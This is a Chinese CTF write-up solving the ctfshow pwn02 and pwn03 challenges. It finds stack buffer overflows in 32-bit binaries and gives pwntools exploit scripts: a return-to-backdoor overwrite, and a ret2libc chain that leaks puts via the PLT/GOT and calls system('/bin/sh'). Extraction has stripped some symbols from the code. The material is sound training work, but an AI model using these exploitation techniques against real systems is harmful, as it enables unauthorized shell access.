公司动态
ctfshow pwn02pwn03
一、工具准备参考BUUCTF之pwn前两题解析及错误分析由于老版的buuctf处于归档状态改为在ctfshow中练习二、题型解决与错误分析1.pwn02将stack下载用IDA打开获取信息根据地址信息可知本次是32位的题目。地址显示方式参考BUUCTF之pwn前两题解析及错误分析易错提示刚开始确实容易把偏移量当作4*148来写攻击脚本但是往下分析发现主函数中不存在缓冲区数组没有gets/scanf等易溢出函数所以漏洞不在main函数中。而且主函数中只会输出没有输入读取的功能。之后发现跳转到pwnme函数后才结束所以漏洞很可能在pwnme函数中分析pwnme函数风险分析1.由图中的32h可知fgets允许读取最大长度为502.buf起点是edp - 9一共13字节943.通过分析可知栈上实际能用来存储的空间只有9字节却给fgets传了50字节存在栈溢出的风险由此可知偏移量为13找后门函数地址在stack函数中所有数据找到后写攻击脚本from pwn import * premote(pwn.challenge.ctf.show,28292) backdoor0x08048518 offset13 payloadbA*offsetp32(backdoor) p.sendline(payload) p.interactive()在虚拟机上运行得到flag2.pwn03下载stack1并用IDA打开主函数分析主函数中也是有相应的输出但是没有输入空间是完全安全的所以需要对pwnme函数进行分析查找漏洞。分析pwnme函数本题的风险与上题相同故可知偏移量为9413找后门函数注意在本题中没有明显的后门函数名称分析题型1.无后门函数属于标准的ret2libc题型2. 观察发现函数名称后面带有 .plt 后缀这表明它是 PLTProcedure Linkage Table表项。在 ELFExecutable and Linkable Format文件中PLT 无法独立工作在动态链接模式下必须与 GOTGlobal Offset Table协同配合。利用这种机制我们可以泄露 libc 中函数的真实地址进而计算出 libc 的基址。3.可用泄露函数puts,程序导入了puts适合做信息泄露排除法fgets作用是读取_libc_start_main作用是启动函数setvbuf作用是设置输入缓冲简单对应关系可做区分1.putsplt代码段里的跳板函数用来跳转到 GOT 取值2.putsgot数据段内存地址存放 puts 在 libc 里的绝对地址3.GLIBC_xx仅符号版本修饰不属于 PLT / GOT 标记。寻找关键地址1.puts_plt所以puts_plt0x080483802.puts_gotjmp ds::off就是GOT表项的符号对应地址puts_got0x0804A0103.main函数起始地址的首地址为0x080484DF写脚本from pwn import * io remote(pwn.challenge.ctf.show, 28257) # 题目固定地址 puts_plt 0x08048380 puts_got 0x0804A010 main 0x080484DF payload1 bA * 13 p32(puts_plt) p32(main) p32(puts_got) io.sendline(payload1) # 核心匹配两次换行精准跳过垃圾输出不会卡死不会漏读 io.recvuntil(b\n\n) # 只读4字节puts真实地址 leak u32(io.recv(4)) libc_base leak - 0x067360 sys libc_base 0x03cd10 binsh libc_base 0x17b8cf payload2 bA * 13 p32(sys) p32(0) p32(binsh) io.sendline(payload2) io.interactive()在虚拟机上运行得flag